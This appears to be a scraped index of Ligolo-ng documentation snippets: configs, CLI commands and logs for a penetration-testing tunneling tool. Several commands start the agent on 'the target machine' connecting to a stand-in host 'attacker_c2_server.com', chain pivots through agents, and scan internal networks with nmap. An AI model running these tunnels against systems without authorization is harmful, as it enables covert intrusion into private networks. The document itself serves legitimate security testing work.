Ligolo-ng

https://docs.ligolo.ng/
Admin
Ligolo-ng is a lightweight tunneling tool for penetration testers that establishes reverse TCP/TLS...
Tokens:7,049
Snippets:98
Trust Score:2.1
Update:6 months ago
Show doc for...
Tokens:
Raw
### Pre-configure Interfaces and Routes

Source: https://docs.ligolo.ng/Config-File

Define network interfaces and associated routes in the configuration file to automate setup upon session start.

```yaml
interface:
    ligolo:
        routes:
            - 10.55.0.0/24
```

--------------------------------

### Full Ligolo-ng Configuration Example

Source: https://docs.ligolo.ng/Config-File

A comprehensive example of the configuration file structure including agent, interface, and web settings.

```yaml
agent:
    deadbeefcafe:
        autobind: false
        interface: ligolo
interface:
    ligolosample:
        routes:
            - 10.254.0.0/24
            - 10.255.0.0/24
web:
    behindreverseproxy: false
    corsallowedorigin:
        - https://webui.ligolo.ng
    debug: false
    enabled: false
    enableui: true
    listen: 127.0.0.1:8080
    logfile: ui.log
    secret: 3383861a48e1332583e5d8cd9946d24b98be780e0c64581d693cb4ff50a68a68
    tls:
        alloweddomains: []
        autocert: false
        certfile: ""
        enabled: false
        keyfile: ""
        selfcert: false
        selfcertdomain: ligolo
    trustedproxies:
        - 127.0.0.1
    users:
        ligolo: $argon2id$v=19$m=32768,t=3,p=4$De5gVDnUWkQgsHe60gpCnA$S6UYLKSXlcCO8jr05zCW6BibdIYQFwdYxoAdRJPwAig
```

--------------------------------

### Start Ligolo-ng Agent

Source: https://docs.ligolo.ng/sample/basic

Launch the Ligolo-ng agent on the target machine. No special privileges are required. Optionally tunnel over SOCKS5 with credentials.

```bash
$ ./agent -connect attacker_c2_server.com:11601
```

--------------------------------

### Agent Connection Log Output

Source: https://docs.ligolo.ng/Config-File

Example log output confirming an agent has joined and the autobind session has started.

```text
INFO[0001] Agent joined. id=deadbeefcafe name=nchatelain@nworkstation remote="127.0.0.1:56072"
INFO[0001] Starting autobind session: deadbeefcafe on interface ligolo 
INFO[0001] Starting tunnel to nchatelain@nworkstation (deadbeefcafe)
```

--------------------------------

### Install Ligolo-ng on Kali Linux

Source: https://docs.ligolo.ng/InstallBuild

Installation command for Kali Linux users via the default repository.

```bash
apt install ligolo-ng
```

--------------------------------

### Start Ligolo-ng Agent

Source: https://docs.ligolo.ng/Quickstart

Execute this command on the target machine to start the Ligolo-ng agent and connect it to the specified Ligolo-ng proxy server. No special privileges are required.

```bash
$ ./agent -connect attacker_c2_server.com:11601

```

--------------------------------

### Launch Ligolo-NG Proxy

Source: https://docs.ligolo.ng/sample/Configuring-a-reverse-proxy

Start the Ligolo-NG proxy with the specified listener address, certificate, and key file. This command assumes you are using Let's Encrypt certificates.

```bash
proxy -laddr https://LOCAL_IP:PORT -certfile /etc/letsencrypt/live/DNS_NAME/fullchain.pem -keyfile /etc/letsencrypt/live/DNS_NAME/privkey.pem

```

--------------------------------

### Start Ligolo-ng Proxy Server

Source: https://docs.ligolo.ng/sample/basic

Initiate the Ligolo-ng proxy server on your C2 machine. Use -autocert for LetsEncrypt or -selfcert for self-signed certificates.

```bash
$ ./proxy -h # Help options
```

```bash
$ ./proxy -autocert # Automatically request LetsEncrypt certificates
```

```bash
$ ./proxy -selfcert # Use self-signed certificates
```

--------------------------------

### Start Tunnel to Agent

Source: https://docs.ligolo.ng/Quickstart

Once an agent session is selected, use the `tunnel_start` command with the desired TUN interface name (e.g., 'evil-cha') to initiate the network tunnel to the agent.

```bash
[Agent : nchatelain@nworkstation] » tunnel_start --tun evil-cha
[Agent : nchatelain@nworkstation] » INFO[0690] Starting tunnel to nchatelain@nworkstation   

```

--------------------------------

### Start Ligolo-NG Agent in Bind Mode

Source: https://docs.ligolo.ng/Bind

Run the agent with the `--bind` argument to make it listen for incoming connections on the specified IP address and port. This is useful when the agent needs to act as a server.

```bash
» ligolo-agent -bind 127.0.0.1:4444                                                                                                                                                                   
WARN[0000] TLS Certificate fingerprint is: 05518ABE4F0D3B137A2365E0DE52A01FE052EE4C5A2FD12D8E2DD93AED1DD04B 
INFO[0000] Listening on 127.0.0.1:4444...               
INFO[0005] Got connection from: 127.0.0.1:53908         
INFO[0005] Connection established                        addr="127.0.0.1:53908"
```

--------------------------------

### Get TLS Certificate Fingerprint

Source: https://docs.ligolo.ng/Quickstart

Run this command on the Ligolo-ng proxy to obtain the fingerprint of the currently used self-signed TLS certificate. This fingerprint is used by the agent to validate the connection.

```bash
ligolo-ng » certificate_fingerprint 
INFO[0203] TLS Certificate fingerprint for ligolo is: D005527D2683A8F2DB73022FBF23188E064493CFA17D6FCF257E14F4B692E0FC 

```

--------------------------------

### Nginx Reverse Proxy Configuration for Ligolo-NG

Source: https://docs.ligolo.ng/sample/Configuring-a-reverse-proxy

This Nginx configuration enables a reverse proxy for Ligolo-NG, handling SSL termination and WebSocket upgrades. Ensure you replace DNS_NAME and LOCAL_IP:PORT with your specific values. This setup relies on Let's Encrypt for certificates.

```nginx
server {
    server_name DNS_NAME;
    index index.html;
    location / {
        proxy_set_header Host $host;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header Upgrade websocket;
        proxy_set_header Connection Upgrade;
        proxy_http_version 1.1; 
        proxy_pass https://LOCAL_IP:PORT;
    }
    listen 443 ssl;
    ssl_certificate /etc/letsencrypt/live/DNS_NAME/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/DNS_NAME/privkey.pem;
    include /etc/letsencrypt/options-ssl-nginx.conf; 
    ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem;
}

```

--------------------------------

### Build Ligolo-ng from source

Source: https://docs.ligolo.ng/InstallBuild

Commands to compile the agent and proxy binaries for the current platform or for Windows.

```bash
$ go build -o agent cmd/agent/main.go
$ go build -o proxy cmd/proxy/main.go
# Build for Windows
$ GOOS=windows go build -o agent.exe cmd/agent/main.go
$ GOOS=windows go build -o proxy.exe cmd/proxy/main.go
```

--------------------------------

### Configure macOS Routes

Source: https://docs.ligolo.ng/Quickstart

Set up routes on macOS using ifconfig and the route command.

```bash
$ sudo ifconfig utun4 alias [random_ip] 255.255.255.0
$ sudo route add -net 192.168.2.0/24 -interface utun4
```

--------------------------------

### Configure Linux Routes

Source: https://docs.ligolo.ng/Quickstart

Add routes on Linux using the ip route command or the Ligolo-ng CLI.

```bash
$ sudo ip route add 192.168.0.0/24 dev ligolo
```

```bash
ligolo-ng » interface_add_route --name evil-cha --route 192.168.2.0/24
INFO[3206] Route created.
```

--------------------------------

### Configure Windows Routes

Source: https://docs.ligolo.ng/Quickstart

Identify the interface index and add a route using netsh and the route command.

```cmd
> netsh int ipv4 show interfaces

Idx     Mét         MTU          État                Nom
---  ----------  ----------  ------------  ---------------------------
 25           5       65535  connected     ligolo

> route add 192.168.0.0 mask 255.255.255.0 0.0.0.0 if [THE INTERFACE IDX]
```

--------------------------------

### Create TUN Interface on Linux

Source: https://docs.ligolo.ng/Quickstart

Use these commands to create and bring up a TUN interface named 'ligolo' on the proxy server. This is required for Ligolo-ng to function on Linux.

```bash
sudo ip tuntap add user [your_username] mode tun ligolo
sudo ip link set ligolo up

```

--------------------------------

### Create a TCP listener on an agent

Source: https://docs.ligolo.ng/Listeners

Use the listener_add command to bind a port on the agent and forward traffic to the proxy server.

```bash
[Agent : nchatelain@nworkstation] » listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4321 --tcp
INFO[1208] Listener created on remote agent!            
```

--------------------------------

### Connect Ligolo-NG Proxy to Agent

Source: https://docs.ligolo.ng/Bind

Use the `connect_agent` command in the ligolo-ng proxy to establish a connection with an agent that is listening in bind mode. You will need to provide the agent's IP address and port, and confirm the TLS certificate fingerprint.

```bash
ligolo-ng » connect_agent --ip 127.0.0.1:4444
? TLS Certificate Fingerprint is: 05518ABE4F0D3B137A2365E0DE52A01FE052EE4C5A2FD12D8E2DD93AED1DD04B, connect? Yes
INFO[0021] Agent connected.                              name=nchatelain@nworkstation remote="127.0.0.1:4444"
```

--------------------------------

### Verify Network Access

Source: https://docs.ligolo.ng/Quickstart

Test connectivity to the agent network using standard network tools.

```bash
$ nmap 192.168.0.0/24 -v -sV -n
[...]
$ rdesktop 192.168.0.123
[...]
```

--------------------------------

### Display Agent Network Configuration

Source: https://docs.ligolo.ng/Quickstart

Use the ifconfig command on the agent to view interface details and network settings.

```text
[Agent : nchatelain@nworkstation] » ifconfig 
[...]
┌─────────────────────────────────────────────┐
│ Interface 3                                 │
├──────────────┬──────────────────────────────┤
│ Name         │ wlp3s0                       │
│ Hardware MAC │ de:ad:be:ef:ca:fe            │
│ MTU          │ 1500                         │
│ Flags        │ up|broadcast|multicast       │
│ IPv4 Address │ 192.168.0.30/24             │
└──────────────────────────────────────────────┘
```

--------------------------------

### Create TUN Interface with Ligolo-ng >= v0.6

Source: https://docs.ligolo.ng/Quickstart

For Ligolo-ng versions 0.6 and later, you can use the `interface_create` command to create a new TUN interface directly within Ligolo-ng, eliminating the need for manual `ip tuntap` commands.

```bash
ligolo-ng » interface_create --name "evil-cha"
INFO[3185] Creating a new "evil-cha" interface...       
INFO[3185] Interface created!

```

--------------------------------

### Select Agent Session in Ligolo-ng

Source: https://docs.ligolo.ng/sample/basic

After the agent connects, use the 'session' command on the proxy server to select the desired agent. Input the session number when prompted.

```bash
ligolo-ng » session 
? Specify a session : 1 - nchatelain@nworkstation - XX.XX.XX.XX:38000
```

--------------------------------

### Add a Ligolo-ng Listener

Source: https://docs.ligolo.ng/sample/double

Configures an agent to listen on a specific address and relay traffic to the Ligolo-ng daemon.

```bash
listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:11601
```

--------------------------------

### Listen for redirected traffic on the proxy

Source: https://docs.ligolo.ng/Listeners

Use netcat on the proxy server to receive the redirected connection.

```bash
$ nc -lvp 4321
```

--------------------------------

### Web API Configuration Settings

Source: https://docs.ligolo.ng/Config-File

Settings for the experimental Web API, including TLS, authentication, and CORS configuration.

```yaml
web:
    behindreverseproxy: false
    corsallowedorigin:
        - https://webui.ligolo.ng
    debug: false
    enabled: false
    enableui: true
    listen: 127.0.0.1:8080
    logfile: ui.log
    secret: 3383861a48e1332583e5d8cd9946d24b98be780e0c64581d693cb4ff50a68a68
    tls:
        alloweddomains: []
        autocert: false
        certfile: ""
        enabled: false
        keyfile: ""
        selfcert: false
        selfcertdomain: ligolo
    trustedproxies:
        - 127.0.0.1
    users:
        ligolo: $argon2id$v=19$m=32768,t=3,p=4$De5gVDnUWkQgsHe60gpCnA$S6UYLKSXlcCO8jr05zCW6BibdIYQFwdYxoAdRJPwAig
```

--------------------------------

### Connect Agent 2 via Pivot

Source: https://docs.ligolo.ng/sample/double

Connects a secondary agent to the Ligolo-ng daemon through the listener established on the first agent.

```bash
$ ./ligolo-agent --connect 10.24.0.30:4444
```

--------------------------------

### Configure Agent Autobinding

Source: https://docs.ligolo.ng/Config-File

Enable automatic interface assignment for an agent by specifying the session identifier and target interface.

```yaml
agent:
    deadbeefcafe:
        autobind: true
        interface: ligolo
```

--------------------------------

### Connect Ligolo-NG Agent

Source: https://docs.ligolo.ng/sample/Configuring-a-reverse-proxy

Connect the Ligolo-NG agent to the reverse proxy using the provided DNS name. This command assumes the agent is configured to use HTTPS.

```bash
agent -connect https://DNS_NAME

```

--------------------------------

### Measure Tunnel Performance with iperf3

Source: https://docs.ligolo.ng/

Use iperf3 to verify throughput across the established tunnel connection.

```bash
$ iperf3 -c 10.10.0.1 -p 24483
Connecting to host 10.10.0.1, port 24483
[  5] local 10.10.0.224 port 50654 connected to 10.10.0.1 port 24483
[ ID] Interval           Transfer     Bitrate         Retr  Cwnd
[  5]   0.00-1.00   sec  12.5 MBytes   105 Mbits/sec    0    164 KBytes       
[  5]   1.00-2.00   sec  12.7 MBytes   107 Mbits/sec    0    263 KBytes       
[  5]   2.00-3.00   sec  12.4 MBytes   104 Mbits/sec    0    263 KBytes       
[  5]   3.00-4.00   sec  12.7 MBytes   106 Mbits/sec    0    263 KBytes       
[  5]   4.00-5.00   sec  13.1 MBytes   110 Mbits/sec    2    134 KBytes       
[  5]   5.00-6.00   sec  13.4 MBytes   113 Mbits/sec    0    147 KBytes       
[  5]   6.00-7.00   sec  12.6 MBytes   105 Mbits/sec    0    158 KBytes       
[  5]   7.00-8.00   sec  12.1 MBytes   101 Mbits/sec    0    173 KBytes       
[  5]   8.00-9.00   sec  12.7 MBytes   106 Mbits/sec    0    182 KBytes       
[  5]   9.00-10.00  sec  12.6 MBytes   106 Mbits/sec    0    188 KBytes       
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval           Transfer     Bitrate         Retr
[  5]   0.00-10.00  sec   127 MBytes   106 Mbits/sec    2             sender
[  5]   0.00-10.08  sec   125 MBytes   104 Mbits/sec                  receiver
```

--------------------------------

### Scan Agent's Local Port with Nmap

Source: https://docs.ligolo.ng/Localhost

Once the route is added, you can use tools like nmap to scan ports on the agent's localhost by addressing IPs within the 240.0.0.0/4 subnet. Ligolo-NG will translate these requests to 127.0.0.1 on the agent.

```bash
$ nmap 240.0.0.1 -sV
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-30 22:17 CET
Nmap scan report for 240.0.0.1
Host is up (0.023s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
8000/tcp open http SimpleHTTPServer 0.6 (Python 3.9.2)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.16 seconds

```

--------------------------------

### Ligolo-ng Agent Joins Proxy

Source: https://docs.ligolo.ng/Quickstart

This log message indicates that an agent has successfully connected to the Ligolo-ng proxy server, showing the agent's name and remote connection details.

```bash
INFO[0102] Agent joined. name=nchatelain@nworkstation remote="XX.XX.XX.XX:38000"

```

--------------------------------

### Connect Agent with Self-Signed Certificate Fingerprint

Source: https://docs.ligolo.ng/Quickstart

Use this command on the Ligolo agent to connect to the proxy server, specifying the accepted certificate fingerprint. This ensures a secure connection when using self-signed certificates.

```bash
ligolo-agent -connect 127.0.0.1:11601 -v -accept-fingerprint D005527D2683A8F2DB73022FBF23188E064493CFA17D6FCF257E14F4B692E0FC                                               nchatelain@nworkstation
INFO[0000] Connection established                        addr="127.0.0.1:11601"

```

--------------------------------

### Add Route for Ligolo-NG Subnet

Source: https://docs.ligolo.ng/Localhost

Before accessing agent local ports, add a static route for the special Ligolo-NG subnet. This directs traffic intended for the 240.0.0.0/4 range to the 'ligolo' interface.

```bash
$ sudo ip route add 240.0.0.1/32 dev ligolo
```

--------------------------------

### List and stop active listeners

Source: https://docs.ligolo.ng/Listeners

View current listeners with listener_list and terminate them using listener_stop with the corresponding ID.

```bash
[Agent : nchatelain@nworkstation] » listener_list 
┌───────────────────────────────────────────────────────────────────────────────┐
│ Active listeners                                                              │
├───┬─────────────────────────┬────────────────────────┬────────────────────────┤
│ # │ AGENT                   │ AGENT LISTENER ADDRESS │ PROXY REDIRECT ADDRESS │
├───┼─────────────────────────┼────────────────────────┼────────────────────────┤
│ 0 │ nchatelain@nworkstation │ 0.0.0.0:1234           │ 127.0.0.1:4321         │
└───┴─────────────────────────┴────────────────────────┴────────────────────────┘

[Agent : nchatelain@nworkstation] » listener_stop 0
INFO[1505] Listener closed.                             
```
Tokens:
Raw